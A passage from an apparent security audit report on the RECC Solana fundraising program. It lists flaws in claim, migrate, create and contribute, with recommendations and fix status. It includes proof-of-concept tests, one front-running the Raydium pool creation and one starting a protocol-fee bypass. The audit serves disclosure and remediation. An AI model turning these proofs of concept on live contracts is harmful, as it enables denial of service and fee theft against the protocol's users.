console.log("After::vaultPreBal", Number(vaultPreBal)/1e6)
});
});
Test Result
It is recommended to ensure that the project
account provided in the claim
instruction matches the project
key stored in the fundraise
PDA.
SOLVED: The RECC team resolved the finding by removing Project PDA and introducing FundraiseV2 PDA.
//
The migrate
instruction allows anyone to bootstrap external liquidity by creating a Raydium CLMM pool and injecting 10% of the raised contribution tokens. This seeded pool serves as an exit path for contributors, enabling early withdrawals.
However, because the Raydium pool address is deterministically derived from known inputs (AMM config
and the mint
pair), anyone can create the same pool externally before the migrate
instruction. If a malicious actor front-runs the pool creation and initializes it themselves, the create_pool
CPI will fail with an account already in use
error. This causes the entire migrate
instruction to revert, blocking the protocol from seeding external liquidity altogether.
program/src/instructions/migrate.rs
#[access_control(ctx.accounts.validate())]
pub fn migrate(
ctx: Context<Migrate>,
tick_lower_index: i32,
tick_upper_index: i32,
tick_array_lower_start_index: i32,
tick_array_upper_start_index: i32,
liquidity: u64
) -> Result<()> {
// _ create pool
// assuming we want our tokens to be pegged 1:1
let price: f64 = 1.0;
let sqrt_price = price.sqrt(); // = 1.0
let sqrt_price_x64 = (sqrt_price * (2f64).powi(64)).round() as u128;
let create_pool_accounts = CreatePool {
pool_creator: ctx.accounts.payer.to_account_info(),
amm_config: ctx.accounts.amm_config.to_account_info(),
pool_state: ctx.accounts.pool_state.to_account_info(),
token_mint_0: ctx.accounts.token_mint_0.to_account_info(),
token_mint_1: ctx.accounts.token_mint_1.to_account_info(),
token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
observation_state: ctx.accounts.observation_state.to_account_info(),
tick_array_bitmap: ctx.accounts.tick_array_bitmap.to_account_info(),
token_program_0: ctx.accounts.token_program.to_account_info(),
token_program_1: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_context = CpiContext::new(
ctx.accounts.clmm_program.to_account_info(),
create_pool_accounts
);
create_pool(cpi_context, sqrt_price_x64, 0)?;
// todo,
// todo: mint lp and contribution tokens to the token_account_1 and token_account_0
// transfer to the temp token accounts
let liquidity_amount = ctx.accounts.fundraise.target_amount
.checked_div(10)
.ok_or(ReccErrorCode::MathOverflow)?;
let cpi_program = ctx.accounts.token_program.to_account_info();
// doing this to check which one is the contribution mint and lp mint
let contribution_mint_key = ctx.accounts.vault_ata.mint;
let is_contribution_mint_0 =
contribution_mint_key == ctx.accounts.token_mint_0.key();
let (contribution_mint, lp_mint) = if is_contribution_mint_0 {
(ctx.accounts.token_mint_0.clone(), ctx.accounts.token_mint_1.clone())
} else {
(ctx.accounts.token_mint_1.clone(), ctx.accounts.token_mint_0.clone())
};
//
let (contribution_mint_ta, lp_mint_ta) = if is_contribution_mint_0 {
(
ctx.accounts.token_account_0.clone(),
ctx.accounts.token_account_1.clone(),
)
} else {
(
ctx.accounts.token_account_1.clone(),
ctx.accounts.token_account_0.clone(),
)
};
// if it's the contribution mint we want to transfer it
let lp_mint_key = lp_mint.key();
let fundraise_bump = &[ctx.accounts.fundraise.bump];
let signer_seeds = &[
&[Fundraise::SEED.as_bytes(), lp_mint_key.as_ref(), fundraise_bump][..],
];
let cpi_accounts = TransferChecked {
from: ctx.accounts.vault_ata.to_account_info(),
mint: contribution_mint.to_account_info(),
to: contribution_mint_ta.to_account_info(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let transfer_cpi_context = CpiContext::new_with_signer(
cpi_program.clone(),
cpi_accounts,
signer_seeds
);
token_interface::transfer_checked(
transfer_cpi_context,
liquidity_amount,
contribution_mint.decimals
)?;
// // if it's the lp mint we want to mint it
let mint_to_cpi_accounts = MintTo {
mint: lp_mint.to_account_info().clone(),
to: lp_mint_ta.to_account_info().clone(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let mint_to_cpi_context = CpiContext::new_with_signer(
cpi_program,
mint_to_cpi_accounts,
signer_seeds
);
token_interface::mint_to(mint_to_cpi_context, liquidity_amount)?;
// -------
// _ open position
// _ because we allow anyone to call this position, the position nft authority
// _ is the fundraise PDA.
// _ con - create another ix to manage it e.g transfer/burn
let open_position_accounts = OpenPositionV2 {
payer: ctx.accounts.payer.to_account_info(),
position_nft_owner: ctx.accounts.fundraise.to_account_info(),
position_nft_mint: ctx.accounts.position_nft_mint.to_account_info(),
position_nft_account: ctx.accounts.position_nft_account.to_account_info(),
metadata_account: ctx.accounts.metadata_account.to_account_info(),
pool_state: ctx.accounts.pool_state.to_account_info(),
protocol_position: ctx.accounts.protocol_position.to_account_info(),
tick_array_lower: ctx.accounts.tick_array_lower.to_account_info(),
tick_array_upper: ctx.accounts.tick_array_upper.to_account_info(),
personal_position: ctx.accounts.personal_position.to_account_info(),
token_account_0: ctx.accounts.token_account_0.to_account_info(),
token_account_1: ctx.accounts.token_account_1.to_account_info(),
token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
associated_token_program: ctx.accounts.associated_token_program.to_account_info(),
metadata_program: ctx.accounts.metadata_program.to_account_info(),
token_program_2022: ctx.accounts.token_program_2022.to_account_info(),
vault_0_mint: ctx.accounts.token_mint_0.to_account_info(),
vault_1_mint: ctx.accounts.token_mint_1.to_account_info(),
};
let cpi_context = CpiContext::new(
ctx.accounts.clmm_program.to_account_info(),
open_position_accounts
);
open_position_v2(
cpi_context,
tick_lower_index,
tick_upper_index,
tick_array_lower_start_index,
tick_array_upper_start_index,
liquidity as u128,
liquidity_amount, // amount_0_max,
liquidity_amount, // amount_1_max,
true,
Some(true) // ! should this be true
)?;
Ok(())
}
// RECC Program test suite
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
createMint,
getAssociatedTokenAddressSync,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
tokenMetadataUpdateFieldWithRentTransfer,
transfer,
} from "@solana/spl-token";
import {
Keypair,
LAMPORTS_PER_SOL,
PublicKey,
Signer,
SystemProgram,
Transaction,
} from "@solana/web3.js";
import { expect } from "chai";
import { createPoolInstruction } from "@raydium-io/raydium-sdk";
anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey(
"metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);
const wait = (ms: number) => new Promise((r) => setTimeout(r, ms));
const uiToBn = (
bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);
async function airdrop(pubkey: PublicKey, sol = 100) {
await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
await wait(1_000);
}
async function createFundraise({
lpMint,
usdcMint,
target,
bps,
fundraiseEnd,
projectEnd,
}: {
lpMint: Signer;
usdcMint: PublicKey;
target: number;
bps: number;
fundraiseEnd: number;
projectEnd: number;
}) {
const [fundraise] = PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
program.programId
);
const [project] = PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMint.publicKey.toBuffer()],
program.programId
);
const vaultAta = getAssociatedTokenAddressSync(
usdcMint,
fundraise,
true,
TOKEN_PROGRAM_ID
);
const now = (await provider.connection.getBlockTime(
await provider.connection.getSlot()
))!;
const DAY10 = 86400 * 10;
const [metadataPda, _] = await PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
lpMint.publicKey.toBuffer(),
],
METADATA_PROGRAM_ID
);
await program.methods
.createFundraise(
{
targetAmount: new anchor.BN(target),
fundraiseStart: new anchor.BN(now),
fundraiseEnd: new anchor.BN(now + fundraiseEnd),
projectEnd: new anchor.BN(now + projectEnd),
estimatedYieldBps: bps,
presaleMerkleRoot: Array(32).fill(0),
},
{ name: "LP", symbol: "LP", uri: "https://example.com" }
)
.accounts({
authority: signer.publicKey,
lpMint: lpMint.publicKey,
contributionMint: usdcMint,
lpTokenMetadataAccount: metadataPda,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, lpMint])
.rpc();
return { fundraise, project, vaultAta };
}
export const CLMM_PROGRAM_ID = new PublicKey(
"DRayAUgENGQBKVaX8owNhgzkEDyoHTGVEGHVJT1E9pfH"
);
export const ammConfigKey = new PublicKey(
"CD4aJtX11cqTCAc83nxSPkkh5JW2yjD6uwHeovjqQ1qu"
);
const POOL_SEED = "pool";
const POOL_VAULT_SEED = "pool_vault";
const OBSERVATION_SEED = "observation";
const POOL_TICK_ARRAY_BITMAP_SEED = "pool_tick_array_bitmap_extension";
function derivePoolPdas(
ammConfig: PublicKey,
tokenMint0: PublicKey,
tokenMint1: PublicKey
) {
// 1. pool_state
const [poolState, poolStateBump] = PublicKey.findProgramAddressSync(
[
Buffer.from(POOL_SEED),
ammConfig.toBuffer(),
tokenMint0.toBuffer(),
tokenMint1.toBuffer(),
],
CLMM_PROGRAM_ID
);
// 2. token_vault_0
const [tokenVault0, tokenVault0Bump] = PublicKey.findProgramAddressSync(
[Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint0.toBuffer()],
CLMM_PROGRAM_ID
);
// 3. token_vault_1
const [tokenVault1, tokenVault1Bump] = PublicKey.findProgramAddressSync(
[Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint1.toBuffer()],
CLMM_PROGRAM_ID
);
// 4. observation_state
const [observationState, obsBump] = PublicKey.findProgramAddressSync(
[Buffer.from(OBSERVATION_SEED), poolState.toBuffer()],
CLMM_PROGRAM_ID
);
// 5. tick_array_bitmap
const [tickArrayBitmap, bitmapBump] = PublicKey.findProgramAddressSync(
[Buffer.from(POOL_TICK_ARRAY_BITMAP_SEED), poolState.toBuffer()],
CLMM_PROGRAM_ID
);
return {
poolState,
poolStateBump,
tokenVault0,
tokenVault0Bump,
tokenVault1,
tokenVault1Bump,
observationState,
obsBump,
tickArrayBitmap,
bitmapBump,
};
}
describe("Pool Tests", () => {
let usdcMint: PublicKey;
let lpMintA;
let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;
let userLpAtaA: PublicKey;
let userUsdcAta: PublicKey;
before("set up two raises and user LP-A", async () => {
await airdrop(signer.publicKey);
usdcMint = await createMint(
provider.connection,
signer,
signer.publicKey,
null,
6
);
lpMintA = Keypair.generate();
({
fundraise: fundraiseA,
project: projectA,
vaultAta: vaultA,
} = await createFundraise({
lpMint: lpMintA,
usdcMint,
target: 100_000 * 1e6,
bps: 2_500,
fundraiseEnd: 3,
projectEnd: 7,
}));
userUsdcAta = (
await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
signer.publicKey
)
).address;
userLpAtaA = (
await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMintA.publicKey,
signer.publicKey
)
).address;
// Simulate Fundraise complete with only $20,000
await mintTo(
provider.connection,
signer,
usdcMint,
vaultA,
signer.publicKey,
20_000 * 1e6
);
});
it("Pool create", async () => {
console.log("lpMintA.publicKey", lpMintA.publicKey)
console.log("usdcMint", usdcMint)
// wait 15 seconds
await wait(20000);
// Ensure mint0 < mint1 (Raydium constraint)
const [mint0, mint1] =
lpMintA.publicKey.toBase58() < usdcMint.toBase58()
? [lpMintA.publicKey, usdcMint]
: [usdcMint, lpMintA.publicKey];
const pdas = derivePoolPdas(ammConfigKey, mint0, mint1);
const sqrtPriceX64 = new anchor.BN(1).shln(64); // 1.0 in Q64.64
let positionNftAccount = Keypair.generate();
let temp = Keypair.generate();
await program.methods
.migrate(
-120,
+120,
-128,
+0,
new anchor.BN(1_000_000)
)
.accounts({
payer: signer.publicKey,
fundraise: fundraiseA,
tokenMint0: usdcMint,
vaultAta: vaultA,
tokenMint1: lpMintA.publicKey,
poolState: pdas.poolState,
ammConfig: ammConfigKey,
tokenVault0: pdas.tokenVault0,
tokenVault1: pdas.tokenVault1,
tickArrayBitmap: pdas.tickArrayBitmap,
observationState: pdas.observationState,
positionNftMint: temp.publicKey,
positionNftAccount: positionNftAccount.publicKey,
metadataAccount: temp.publicKey,
protocolPosition: temp.publicKey,
tickArrayLower: temp.publicKey,
tickArrayUpper: temp.publicKey,
personalPosition: temp.publicKey,
clmmProgram: CLMM_PROGRAM_ID,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, temp])
.rpc();
});
});
// Attacker program test
it("Create a pool before migrate", async () => {
await airdrop(signer.publicKey);
let lpMintA = new PublicKey("8A7ePLifVws4iFQm85ZRhHEmgJWh4EQwDCJBVEVKuQDR");
let usdcMint = new PublicKey("6NvVJ7Nqn9wt6ad16BydJv8Lg7hRrQ5rYmkyg58sEr9k");
const [mint0, mint1] =
lpMintA.toBase58() < usdcMint.toBase58()
? [lpMintA, usdcMint]
: [usdcMint, lpMintA];
const pdas = derivePoolPdas(ammConfigKey, mint0, mint1);
const sqrtPriceX64 = new anchor.BN(1).shln(64); // 1.0 in Q64.64
await program.methods
.craetePool(sqrtPriceX64, new anchor.BN(0))
.accounts({
clmmProgram: CLMM_PROGRAM_ID,
poolCreator: signer.publicKey,
ammConfig: ammConfigKey,
tokenMint0: usdcMint,
tokenMint1: lpMintA,
observationState: pdas.observationState,
tokenProgram0: TOKEN_PROGRAM_ID,
tokenProgram1: TOKEN_PROGRAM_ID,
})
.signers([signer])
.rpc();
})
Attacker send the transaction first
Genuine pool creation transaction failed
It is recommended to move the initial Raydium CLMM pool creation i.e (create_pool()
) and initialization logic i.e (open_position_v2()
) to the create_fundraise
instruction, then later allow the remaining 10% of liquidity to be injected in the migrate
instruction after the fundraise completes to enable the external market.
SOLVED: The RECC team solved the finding by commenting out the migrate instruction.
//
The RECC protocol
is designed to support two configurations for creating a fundraise:
A Token-2022 LP mint
used alongside a Token-2022 contribution mint
(i.e TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb)
A SPL-TOKEN LP mint
used with a SPL-TOKEN contribution mint
(i.e TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA)
While the second configuration works as expected, the first using Token-2022 LP and contribution mints is currently not fully supported. Any attempt to create metadata using Token-2022 LP mints results in failures due to incorrect use of legacy CPI interfaces (create_metadata_accounts_v3
).
Since the protocol intends to support Token-2022 tokens as contribution mints, it also currently lacks validation to check whether the mint has the TransferFee
extension enabled. As a result, LP tokens may be issued based on input parameter, rather than the user’s intended contribution. This can cause discrepancies where claim
or withdrawal
amounts do not match contributed
amount, leading to unintended behavior and breaking internal accounting assumptions.
program/src/instructions/create.rs
pub fn create(
ctx: Context<CreateFundraise>,
crowdfund_args: CrowdfundArgs,
metadata_args: LpTokenMetadataArgs
) -> Result<()> {
let project = &mut ctx.accounts.project;
let fundraise = &mut ctx.accounts.fundraise;
let lp_mint = ctx.accounts.lp_mint.key();
let CrowdfundArgs {
target_amount,
fundraise_end,
fundraise_start,
project_end,
estimated_yield_bps,
presale_merkle_root,
} = crowdfund_args;
let LpTokenMetadataArgs { name, symbol, uri } = metadata_args;
// project details
**project = Project::new(
ctx.bumps.project,
ctx.accounts.authority.key(),
lp_mint.key(),
project_end,
estimated_yield_bps
);
// fundraise details
**fundraise = Fundraise::new(
ctx.bumps.fundraise,
ctx.accounts.authority.key(),
project.key(),
target_amount,
fundraise_end,
fundraise_start,
presale_merkle_root
);
// add metadata
let fundraise_bump = &[fundraise.bump];
let signer_seeds = &[
&[Fundraise::SEED.as_bytes(), lp_mint.as_ref(), fundraise_bump][..],
];
let cpi_program = ctx.accounts.metadata_program.to_account_info();
let cpi_accounts = CreateMetadataAccountsV3 {
metadata: ctx.accounts.lp_token_metadata_account.to_account_info(),
mint: ctx.accounts.lp_mint.to_account_info(),
mint_authority: ctx.accounts.fundraise.to_account_info(),
update_authority: ctx.accounts.fundraise.to_account_info(),
payer: ctx.accounts.authority.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new_with_signer(
cpi_program,
cpi_accounts,
signer_seeds
);
msg!("metadta address {:?}", ctx.accounts.lp_token_metadata_account.key); // ! debug, get rid of me
create_metadata_accounts_v3(
cpi_ctx,
DataV2 {
name,
symbol,
uri,
seller_fee_basis_points: 0,
creators: None,
collection: None,
uses: None,
},
false, // Is mutable
true, // Update authority is signer
None // Collection details
)?;
msg!("Project Created");
Ok(())
}
It is recommended to utilize CreateV1CpiBuilder
from the mpl-token-metadata
provided by the Metaplex Token Metadata program, as it supports metadata creation for both SPL-Token (legacy) and SPL-Token-2022 mints. Additionally, the program should validate that the contribution_mint
does not have the TransferFee
extension enabled.
SOLVED: The RECC team resolved the finding by supporting metadata creation for Token-2022 mints and validating that the contribution_mint
does not have the TransferFee
extension enabled.
//
The RECC protocol allows fundraises to be initialized or updated through the create_fundraise
and update_fundraise
instructions. However, both instructions lack important validations on these parameters, which can lead to denial-of-service or manipulation of fundraise logic:
The fundraise.authority
can reduce the target_amount
even after the fundraise is completed, making it appear as if the vault is sufficiently credited and allowing unintended claims, despite the original obligation not being met
Not validating fundraise_end
to be after fundraise_start
would prevent contributions for that project.
If project_end
occurs before the fundraise_end
ends, the authority has no window to deposit the repayment, effectively blocking users from ever claiming their yield
The estimated_yield_bps
can be set to zero which will result in no yields for the users.
program/src/instructions/create.rs
pub fn create(
ctx: Context<CreateFundraise>,
crowdfund_args: CrowdfundArgs,
metadata_args: LpTokenMetadataArgs
) -> Result<()> {
let project = &mut ctx.accounts.project;
let fundraise = &mut ctx.accounts.fundraise;
let lp_mint = ctx.accounts.lp_mint.key();
let CrowdfundArgs {
target_amount,
fundraise_end,
fundraise_start,
project_end,
estimated_yield_bps,
presale_merkle_root,
} = crowdfund_args;
let LpTokenMetadataArgs { name, symbol, uri } = metadata_args;
// project details
**project = Project::new(
ctx.bumps.project,
ctx.accounts.authority.key(),
lp_mint.key(),
project_end,
estimated_yield_bps
);
// fundraise details
**fundraise = Fundraise::new(
ctx.bumps.fundraise,
ctx.accounts.authority.key(),
project.key(),
target_amount,
fundraise_end,
fundraise_start,
presale_merkle_root
);
// add metadata
let fundraise_bump = &[fundraise.bump];
let signer_seeds = &[
&[Fundraise::SEED.as_bytes(), lp_mint.as_ref(), fundraise_bump][..],
];
let cpi_program = ctx.accounts.metadata_program.to_account_info();
let cpi_accounts = CreateMetadataAccountsV3 {
metadata: ctx.accounts.lp_token_metadata_account.to_account_info(),
mint: ctx.accounts.lp_mint.to_account_info(),
mint_authority: ctx.accounts.fundraise.to_account_info(),
update_authority: ctx.accounts.fundraise.to_account_info(),
payer: ctx.accounts.authority.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new_with_signer(
cpi_program,
cpi_accounts,
signer_seeds
);
msg!("metadta address {:?}", ctx.accounts.lp_token_metadata_account.key); // ! debug, get rid of me
create_metadata_accounts_v3(
cpi_ctx,
DataV2 {
name,
symbol,
uri,
seller_fee_basis_points: 0,
creators: None,
collection: None,
uses: None,
},
false, // Is mutable
true, // Update authority is signer
None // Collection details
)?;
msg!("Project Created");
Ok(())
}
program/src/instructions/update.rs
#[access_control(ctx.accounts.validate())]
pub fn update(
ctx: Context<UpdateFundraise>,
new_project_end: Option<u64>,
new_estimated_yield_bps: Option<u16>,
new_target_amount: Option<u64>,
new_fundraise_end: Option<u64>,
new_fundraise_start: Option<u64>,
new_presale_merkle_root: Option<[u8; 32]>
) -> Result<()> {
let project = &mut ctx.accounts.project;
let fundraise = &mut ctx.accounts.fundraise;
project.update(new_project_end, new_estimated_yield_bps)?;
fundraise.update(
new_target_amount,
new_fundraise_end,
new_fundraise_start,
new_presale_merkle_root
)?;
msg!("Project details updated");
Ok(())
}
The contribute
instruction allows users to deposit tokens in exchange for LP tokens tied to a specific project. However, it currently allows contributing 0 amount, which results in unnecessary token account interactions and LP minting logic being executed even when no value is transferred.
program/src/instructions/contribute.rs
#[access_control(ctx.accounts.validate(proof, amount))]
pub fn contribute(
ctx: Context<Contribute>,
amount: u64,
proof: Option<Vec<[u8; 32]>>
) -> Result<()> {
let fundraise: &mut Account<'_, Fundraise> = &mut ctx.accounts.fundraise;
let lp_mint = ctx.accounts.lp_mint.key();
// ? transfer tokens to the vault ata
let cpi_accounts = TransferChecked {
from: ctx.accounts.authority_contribution_ata.to_account_info().clone(),
mint: ctx.accounts.contribution_mint.to_account_info().clone(),
to: ctx.accounts.vault_ata.to_account_info().clone(),
authority: ctx.accounts.authority.to_account_info(),
};
let cpi_program = ctx.accounts.token_program.to_account_info();
let cpi_context = CpiContext::new(cpi_program, cpi_accounts);
token_interface::transfer_checked(
cpi_context,
amount,
ctx.accounts.contribution_mint.decimals
)?;
// ? mint tokens to user's ata
let fundraise_bump = &[fundraise.bump];
let signer_seeds = &[
&[
Fundraise::SEED.as_bytes(),
lp_mint.as_ref(), // owns escrow wallet on soundwork
fundraise_bump,
][..],
];
let cpi_accounts = MintTo {
mint: ctx.accounts.lp_mint.to_account_info().clone(),
to: ctx.accounts.authority_lp_ata.to_account_info().clone(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let cpi_program = ctx.accounts.token_program.to_account_info();
let cpi_context = CpiContext::new_with_signer(
cpi_program,
cpi_accounts,
signer_seeds
);
token_interface::mint_to(cpi_context, amount)?;
Ok(())
}
It is recommended to properly enforce the following validations in both create_fundraise and update_fundraise instructions
Implement a check for fundraise_start
to be less than fundraise_end
Implement a check for fundraise_end
to be less than project_end
Prevent reducing target_amount
and fundraise_start
after contributions have started
Validate that estimated_yield_bps
is within a reasonable range
Validate that amount
parameter is greater than 0
in contribute instruction
PARTIALLY SOLVED: The RECC team partially resolved the finding by following most of the recommendation.
//
The claim
instruction allows users to redeem their LP tokens in exchange for their contribution plus yield. It calculates the claimable amount based on the user's LP token balance using calculate_claim_amount
, then splits it into user_take
and protocol_take
using calculate_protocol_and_user_take
instruction. However, if the LP token amount is very small, the protocol fee rounds down to zero allowing users to bypass the protocol fee entirely by making claim calls repeatedly.
program/src/instructions/claim.rs
#[access_control(ctx.accounts.validate())]
pub fn claim(ctx: Context<Claim>) -> Result<()> {
let authority_lp_ata = &mut ctx.accounts.authority_lp_ata;
let fundraise = &mut ctx.accounts.fundraise;
let project = &mut ctx.accounts.project;
let lp_mint = ctx.accounts.lp_mint.key();
let claim_amount = calculate_claim_amount(
authority_lp_ata.amount,
project.estimated_yield_bps
)?;
// ? protocol fees
let (user_take, protocol_take) =
calculate_protocol_and_user_take(claim_amount)?;
// ? transfer tokens back to user with yield
let fundraise_bump = &[fundraise.bump];
let signer_seeds = &[
&[Fundraise::SEED.as_bytes(), lp_mint.as_ref(), fundraise_bump][..],
];
let cpi_accounts = TransferChecked {
from: ctx.accounts.vault_ata.to_account_info().clone(),
mint: ctx.accounts.contribution_mint.to_account_info().clone(),
to: ctx.accounts.authority_contribution_ata.to_account_info().clone(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let cpi_program = ctx.accounts.token_program.to_account_info();
let cpi_context = CpiContext::new_with_signer(
cpi_program,
cpi_accounts,
signer_seeds
);
token_interface::transfer_checked(
cpi_context,
user_take,
ctx.accounts.contribution_mint.decimals
)?;
// ? burn user's LP tokens
let cpi_accounts = Burn {
mint: ctx.accounts.lp_mint.to_account_info(),
from: ctx.accounts.authority_lp_ata.to_account_info(),
authority: ctx.accounts.authority.to_account_info(),
};
let cpi_program = ctx.accounts.token_program.to_account_info();
let cpi_context = CpiContext::new(cpi_program.clone(), cpi_accounts);
let authority_lp_bal = ctx.accounts.authority_lp_ata.amount;
token_interface::burn(cpi_context, authority_lp_bal)?;
// ? protocol fee
let cpi_accounts = TransferChecked {
from: ctx.accounts.vault_ata.to_account_info(),
mint: ctx.accounts.contribution_mint.to_account_info(),
to: ctx.accounts.protocol_vault_ata.to_account_info(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let cpi_context = CpiContext::new_with_signer(
cpi_program,
cpi_accounts,
signer_seeds
);
token_interface::transfer_checked(
cpi_context,
protocol_take,
ctx.accounts.contribution_mint.decimals
)?;
Ok(())
}
program/src/helpers.rs
pub fn calculate_protocol_and_user_take(amount: u64) -> Result<(u64, u64)> {
let amount_u128 = amount as u128;
let protocol_take = amount_u128
.checked_mul(PROTOCOL_FEE_BPS as u128)
.ok_or(ProgramError::ArithmeticOverflow)?
.checked_div(10000)
.ok_or(ProgramError::ArithmeticOverflow)?;
let user_take = amount_u128
.checked_sub(protocol_take)
.ok_or(ProgramError::ArithmeticOverflow)?;
let protocol_take_u64 = u64
::try_from(protocol_take)
.map_err(|_| ProgramError::ArithmeticOverflow)?;
let user_take_u64 = u64
::try_from(user_take)
.map_err(|_| ProgramError::ArithmeticOverflow)?;
Ok((user_take_u64, protocol_take_u64))
}
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
createMint,
getAssociatedTokenAddressSync,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
tokenMetadataUpdateFieldWithRentTransfer,
transfer,
} from "@solana/spl-token";
import {
Keypair,
LAMPORTS_PER_SOL,
PublicKey,
Signer,
SystemProgram,
} from "@solana/web3.js";
import { expect } from "chai";
anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey("metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s");
const wait = (ms: number) => new Promise(r => setTimeout(r, ms));
const uiToBn = (
bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);
async function airdrop(pubkey: PublicKey, sol = 100) {
await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
await wait(1_000);
}
async function createFundraise(
{ lpMint, usdcMint, target, bps, fundraiseEnd, projectEnd }: {
lpMint: Signer; usdcMint: PublicKey; target: number; bps: number;
fundraiseEnd: number; projectEnd: number
}) {
const [fundraise] = PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
program.programId,
);
const [project] = PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMint.publicKey.toBuffer()],
program.programId,
);
const vaultAta = getAssociatedTokenAddressSync(
usdcMint, fundraise, true, TOKEN_PROGRAM_ID,
);
const now = (await provider.connection.getBlockTime(
await provider.connection.getSlot()))!;
const DAY10 = 86400 * 10;
const [metadataPda, _] = await PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
lpMint.publicKey.toBuffer(),
],
METADATA_PROGRAM_ID
);
await program.methods
.createFundraise(
{
targetAmount: new anchor.BN(target),
fundraiseStart: new anchor.BN(now),
fundraiseEnd: new anchor.BN(now + fundraiseEnd),
projectEnd: new anchor.BN(now + projectEnd),
estimatedYieldBps: bps,
presaleMerkleRoot: Array(32).fill(0),
},
{ name: "LP", symbol: "LP", uri: "https://example.com" },
)
.accounts({
authority: signer.publicKey,
lpMint: lpMint.publicKey,
contributionMint: usdcMint,
lpTokenMetadataAccount: metadataPda,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, lpMint])
.rpc();
return { fundraise, project, vaultAta };
}
describe("claim-hijack via wrong Project", () => {
let usdcMint: PublicKey;
let lpMintA;
let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;
let lpMintB;
let projectB: PublicKey;
let lpMintC;
let projectC: PublicKey;
let userLpAtaA: PublicKey;
let userUsdcAta: PublicKey;
before("set up two raises and user LP-A", async () => {
await airdrop(signer.publicKey);
usdcMint = await createMint(
provider.connection, signer, signer.publicKey, null, 6,
);
lpMintA = Keypair.generate();
({ fundraise: fundraiseA, project: projectA, vaultAta: vaultA } =
await createFundraise({ lpMint: lpMintA, usdcMint, target: 100_000*1e6, bps: 2_500, fundraiseEnd: 3, projectEnd: 7 }));
lpMintB = Keypair.generate();
({ project: projectB } =
await createFundraise({ lpMint: lpMintB, usdcMint, target: 100_000*1e6, bps: 1_700, fundraiseEnd: 3, projectEnd: 7 }));
lpMintC = Keypair.generate();
({ project: projectC } =
await createFundraise({ lpMint: lpMintC, usdcMint, target: 0, bps: 0, fundraiseEnd: 0, projectEnd: 0 }));
userUsdcAta = (await getOrCreateAssociatedTokenAccount(
provider.connection, signer, usdcMint, signer.publicKey,
)).address;
await mintTo(
provider.connection, signer, usdcMint, userUsdcAta,
signer.publicKey, 10_000 * 1e6,
);
userLpAtaA = (await getOrCreateAssociatedTokenAccount(
provider.connection, signer, lpMintA.publicKey , signer.publicKey,
)).address;
await program.methods
.contribute(new anchor.BN(10_000 * 1e6), null)
.accounts({
authority: signer.publicKey,
fundraise: fundraiseA,
project: projectA,
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
authorityContributionAta: userUsdcAta,
authorityLpAta: userLpAtaA,
vaultAta: vaultA,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer])
.rpc();
await mintTo(
provider.connection, signer, usdcMint, vaultA,
signer.publicKey, 90_000 * 1e6,
);
});
it("Users can bypass protocol fees", async () => {
await wait(3000);
let userPreBal = uiToBn(
await provider.connection.getTokenAccountBalance(userUsdcAta),
);
let vaultPreBal = uiToBn(
